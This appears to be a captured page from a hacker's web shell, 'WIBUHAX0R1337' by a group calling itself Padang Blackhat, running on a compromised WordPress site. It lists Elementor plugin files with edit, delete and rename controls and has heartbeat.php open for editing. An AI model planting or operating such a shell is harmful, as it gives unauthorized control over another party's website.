-
WIBUHAX0R1337
-
/
home
/
coludnqa
/
www
/
wp-content
/
plugins
/
elementor
/
includes
/
[ Home ]
Create Folder
Create File
Nama File / Folder
Size
Action
admin-templates
--
NONE
base
--
NONE
controls
--
NONE
editor-templates
--
NONE
elements
--
NONE
interfaces
--
NONE
libraries
--
NONE
managers
--
NONE
settings
--
NONE
template-library
--
NONE
widgets
--
NONE
.htaccess
0.231KB
Edit File
Delete File
Rename
api.php
6.468KB
Edit File
Delete File
Rename
autoloader.php
8.983KB
Edit File
Delete File
Rename
beta-testers.php
2.987KB
Edit File
Delete File
Rename
compatibility.php
11.649KB
Edit File
Delete File
Rename
conditions.php
2.703KB
Edit File
Delete File
Rename
db.php
14.689KB
Edit File
Delete File
Rename
embed.php
7.881KB
Edit File
Delete File
Rename
fonts.php
38.272KB
Edit File
Delete File
Rename
frontend.php
36.3KB
Edit File
Delete File
Rename
heartbeat.php
2.573KB
Edit File
Delete File
Rename
maintenance-mode.php
11.133KB
Edit File
Delete File
Rename
maintenance.php
2.096KB
Edit File
Delete File
Rename
plugin.php
16.523KB
Edit File
Delete File
Rename
preview.php
7.604KB
Edit File
Delete File
Rename
rollback.php
3.635KB
Edit File
Delete File
Rename
shapes.php
6.24KB
Edit File
Delete File
Rename
stylesheet.php
8.908KB
Edit File
Delete File
Rename
tracker.php
14.283KB
Edit File
Delete File
Rename
user.php
6.526KB
Edit File
Delete File
Rename
utils.php
18.68KB
Edit File
Delete File
Rename
<?php namespace Elementor; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Elementor heartbeat. * * Elementor heartbeat handler class is responsible for initializing Elementor * heartbeat. The class communicates with WordPress Heartbeat API while working * with Elementor. * * @since 1.0.0 */ class Heartbeat { /** * Heartbeat received. * * Locks the Heartbeat response received when editing with Elementor. * * Fired by `heartbeat_received` filter. * * @since 1.0.0 * @access public * * @param array $response The Heartbeat response. * @param array $data The `$_POST` data sent. * * @return array Heartbeat response received. */ public function heartbeat_received( $response, $data ) { if ( isset( $data['elementor_post_lock']['post_ID'] ) ) { $post_id = $data['elementor_post_lock']['post_ID']; $locked_user = Plugin::$instance->editor->get_locked_user( $post_id ); if ( ! $locked_user || ! empty( $data['elementor_force_post_lock'] ) ) { Plugin::$instance->editor->lock_post( $post_id ); } else { $response['locked_user'] = $locked_user->display_name; } /** @var Core\Common\Modules\Ajax\Module $ajax */ $ajax = Plugin::$instance->common->get_component( 'ajax' ); $response['elementorNonce'] = $ajax->create_nonce(); } return $response; } /** * Refresh nonces. * * Filter the nonces to send to the editor when editing with Elementor. Used * to refresh the nonce when the nonce expires while editing. This way the * user doesn't need to log-in again as Elementor fetches the new nonce from * the server using ajax. * * Fired by `wp_refresh_nonces` filter. * * @since 1.8.0 * @access public * * @param array $response The no-priv Heartbeat response object or array. * @param array $data The `$_POST` data sent. * * @return array Refreshed nonces. */ public function refresh_nonces( $response, $data ) { if ( isset( $data['elementor_post_lock']['post_ID'] ) ) { /** @var Core\Common\Modules\Ajax\Module $ajax */ $ajax = Plugin::$instance->common->get_component( 'ajax' ); $response['elementor-refresh-nonces'] = [ 'elementorNonce' => $ajax->create_nonce(), 'heartbeatNonce' => wp_create_nonce( 'heartbeat-nonce' ), ]; } return $response; } /** * Heartbeat constructor. * * Initializing Elementor heartbeat. * * @since 1.0.0 * @access public */ public function __construct() { add_filter( 'heartbeat_received', [ $this, 'heartbeat_received' ], 10, 2 ); add_filter( 'wp_refresh_nonces', [ $this, 'refresh_nonces' ], 30, 2 ); } }
Save!!!
© 2022 - 2023 WIBUHAXOR V1 By Lutfifakee || Padang Blackhat